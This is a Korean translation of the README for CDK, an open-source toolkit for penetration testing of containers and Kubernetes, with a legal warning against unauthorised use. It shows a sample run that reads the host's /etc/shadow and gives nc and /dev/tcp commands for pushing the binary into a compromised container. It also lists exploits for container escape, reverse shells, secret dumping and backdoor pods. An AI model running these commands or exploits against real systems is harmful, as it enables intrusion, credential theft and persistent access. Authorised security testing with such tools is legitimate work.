
📦 K8s, Docker, Containerd의 보안 테스트를 더 쉽게 만듭니다.
English | 简体中文

사전 동의 없이 CDK를 사용하여 대상을 공격하는 것은 불법입니다. CDK는 보안 테스트 목적으로만 사용해야 합니다.
CDK는 오픈 소스 컨테이너 침투 도구 키트로, 다양한 경량 컨테이너에서 OS 종속성 없이 안정적인 익스플로잇을 제공하도록 설계되었습니다. 유용한 네트워크 도구와 강력한 PoC/EXP가 함께 제공되어 컨테이너를 탈출하고 K8s 클러스터를 쉽게 장악할 수 있도록 도와줍니다.
cdk eva 를 실행하여 평가 정보와 권장 익스플로잇을 확인한 다음 cdk run 을 실행하여 공격을 시작하세요.
> ./cdk eva --full
[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
> ./cdk run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
최신 릴리스를 https://github.com/cdk-team/CDK/releases/ 에서 다운로드하세요.
실행 파일을 대상 컨테이너에 넣고 테스트를 시작하세요.
파일을 업로드할 수 있는 익스플로잇이 있다면 CDK 바이너리를 직접 업로드할 수 있습니다.
RCE 익스플로잇이 있지만 대상 컨테이너에 curl 또는 wget이 없는 경우 다음 방법을 사용하여 CDK를 전달할 수 있습니다:
(호스트에서)
nc -lvp 999 < cdk
cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Gather information to find weakness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki
Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl <path> (get|post) <uri> <data> Make request to K8s api-server.
ectl <endpoint> get <key> Unauthorized enumeration of ectd keys.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
--profile=<name> Select evaluation profile.
CDK는 세 가지 모듈을 제공합니다:
사용법
cdk evaluate [--full]
사용 가능한 모든 익스플로잇 목록:
cdk run --list
대상 익스플로잇 실행:
cdk run <script-name> [options]
Thin 관련 참고: thin 릴리스는 서버리스 함수와 같이 수명이 짧은 컨테이너 셸을 위해 준비되었습니다. 소스 코드에 빌드 태그를 추가하고 일부 익스플로잇을 제외하여 바이너리를 더 가볍게 만들었습니다. 2MB 파일에는 CDK 기능의 90%가 포함되어 있으며, CDK 소스 코드에서 유용한 익스플로잇을 선택하여 자체 경량 바이너리를 빌드할 수도 있습니다.
Linux에서 명령어를 실행하는 것과 유사하지만 입력 인수가 약간 다릅니다. 사용법 링크를 참조하세요.
cdk nc [options]
cdk ps
새 버전 릴리스 방법, thin 버전 생성 방식, upx 버전을 제공하는 이유, all/normal/thin/upx 버전 간의 차이점, 특정 CDK 익스플로잇과 도구를 선택하여 자신만의 릴리스를 컴파일하는 방법을 알아보려면 릴리스 문서를 확인하세요.
먼저, 시간을 내어 기여해 주셔서 감사합니다!
다음 기여자분들께 감사드립니다:
더 많은 기여자: 기여자 목록
버그는 GitHub Issues로 추적됩니다. 현재 CDK 버전, 오류 메시지 및 환경과 함께 이슈를 생성해 주세요. 문제를 재현할 수 있는 정확한 단계를 설명해 주세요.
개선 제안은 GitHub Discussions로 추적됩니다. 여기에 의견을 게시하여 개발자와 직접 논의할 수 있습니다.
문제를 수정하거나 CDK의 품질을 유지하려면:
새로운 기능 또는 익스플로잇:

CDK 프로젝트는 현재 404Team Starlink Project 2.0에 포함되어 있습니다. StarLink 커뮤니티에 가입하여 CDK 개발팀과 소통하세요.
| 전술 | 스크립트 | 지원 | 사용법/예제 |
|---|
| 정보 수집 | OS 기본 정보 | ✔ | link |
| 정보 수집 | 사용 가능한 Capabilities | ✔ | link |
| 정보 수집 | 사용 가능한 Linux 명령어 | ✔ | link |
| 정보 수집 | 마운트 | ✔ | link |
| 정보 수집 | Net 네임스페이스 | ✔ | link |
| 정보 수집 | 민감한 ENV | ✔ | link |
| 정보 수집 | 민감한 프로세스 | ✔ | link |
| 정보 수집 | 민감한 로컬 파일 | ✔ | link |
| 정보 수집 | Kube-proxy Route Localnet(CVE-2020-8558) | ✔ | link |
| 정보 수집 | DNS 기반 서비스 디스커버리 | ✔ | link |
| 디스커버리 | K8s Api-server 정보 | ✔ | link |
| 디스커버리 | K8s Service-account 정보 | ✔ | link |
| 디스커버리 | 클라우드 제공자 Metadata API | ✔ | link |
| 전술 | 기술 | CDK 익스플로잇 이름 | 지원 | Thin 지원 | 문서 |
|---|
| 탈출 | docker-runc CVE-2019-5736 | runc-pwn | ✔ | ✔ | |
| 탈출 | containerd-shim CVE-2020-15257 | shim-pwn | ✔ | link | |
| 탈출 | docker.sock PoC (DIND 공격) | docker-sock-check | ✔ | ✔ | link |
| 탈출 | docker.sock RCE | docker-sock-pwn | ✔ | ✔ | link |
| 탈출 | Docker API(2375) RCE | docker-api-pwn | ✔ | ✔ | link |
| 탈출 | 디바이스 마운트 탈출 | mount-disk | ✔ | ✔ | link |
| 탈출 | LXCFS 탈출 | lxcfs-rw | ✔ | ✔ | link |
| 탈출 | Cgroups 탈출 | mount-cgroup | ✔ | ✔ | link |
| 탈출 | 권한 없는 사용자 네임스페이스 남용 탈출 CVE-2022-0492 | abuse-unpriv-userns | ✔ | ✔ | link |
| 탈출 | Procfs 탈출 | mount-procfs | ✔ | ✔ | link |
| 탈출 | Ptrace 탈출 PoC | check-ptrace | ✔ | ✔ | link |
| 탈출 | Cgroup(devices.allow) 재작성 | rewrite-cgroup-devices | ✔ | ✔ | link |
| 탈출 | 호스트 시스템에서 임의 파일 읽기 (CAP_DAC_READ_SEARCH) | cap-dac-read-search | ✔ | ✔ | link |
| 디스커버리 | K8s 컴포넌트 프로브 | service-probe | ✔ | ✔ | link |
| 디스커버리 | Istio Sidecar 메타 덤프 | istio-check | ✔ | ✔ | link |
| 디스커버리 | K8s Pod 보안 정책 덤프 | k8s-psp-dump | ✔ | link | |
| 원격 제어 | 리버스 쉘 | reverse-shell | ✔ | ✔ | link |
| 원격 제어 | Kubelet Exec | kubelet-exec | ✔ | ✔ | |
| 자격 증명 접근 | 레지스트리 무차별 대입 | registry-brute | ✔ | ✔ | link |
| 자격 증명 접근 | 액세스 키 스캐닝 | ak-leakage | ✔ | ✔ | link |
| 자격 증명 접근 | Etcd에서 K8s 토큰 가져오기 | etcd-get-k8s-token | ✔ | ✔ | |
| 자격 증명 접근 | K8s 시크릿 덤프 | k8s-secret-dump | ✔ | ✔ | link |
| 자격 증명 접근 | K8s Config 덤프 | k8s-configmap-dump | ✔ | ✔ | link |
| 권한 상승 | K8s RBAC 우회 | k8s-get-sa-token | ✔ | ✔ | link |
| 권한 상승 | CVE-2026-31431 copy-fail (non-root→root & x86_64 전용) | copy-fail-cve-2026-31431 | ✔ | link | |
| 지속성 | WebShell 배포 | webshell-deploy | ✔ | ✔ | link |
| 지속성 | 백도어 Pod 배포 | k8s-backdoor-daemonset | ✔ | ✔ | link |
| 지속성 | 섀도우 K8s api-server 배포 | k8s-shadow-apiserver | ✔ | link | |
| 지속성 | K8s MITM 공격 (CVE-2020-8554) | k8s-mitm-clusterip | ✔ | ✔ | link |
| 지속성 | K8s CronJob 배포 | k8s-cronjob | ✔ | ✔ | link |
| 명령어 | 설명 | 지원 | 사용법/예제 |
|---|
| nc | TCP 터널 | ✔ | link |
| ps | 프로세스 정보 | ✔ | link |
| netstat | "netstat -antup" 명령어와 유사 | ✔ | |
| ifconfig | 네트워크 정보 | ✔ | link |
| vi | 파일 편집 | ✔ | link |
| ectl | ectd 키 무단 열거 | ✔ | |
| kcurl | K8s api-server에 요청 | ✔ | link |
| dcurl | Docker HTTP API에 요청 | ✔ | link |
| ucurl | Docker Unix 소켓에 요청 | ✔ | link |
| rcurl | Docker Registry API에 요청 | ||
| probe | IP/포트 스캐닝 | ✔ | link |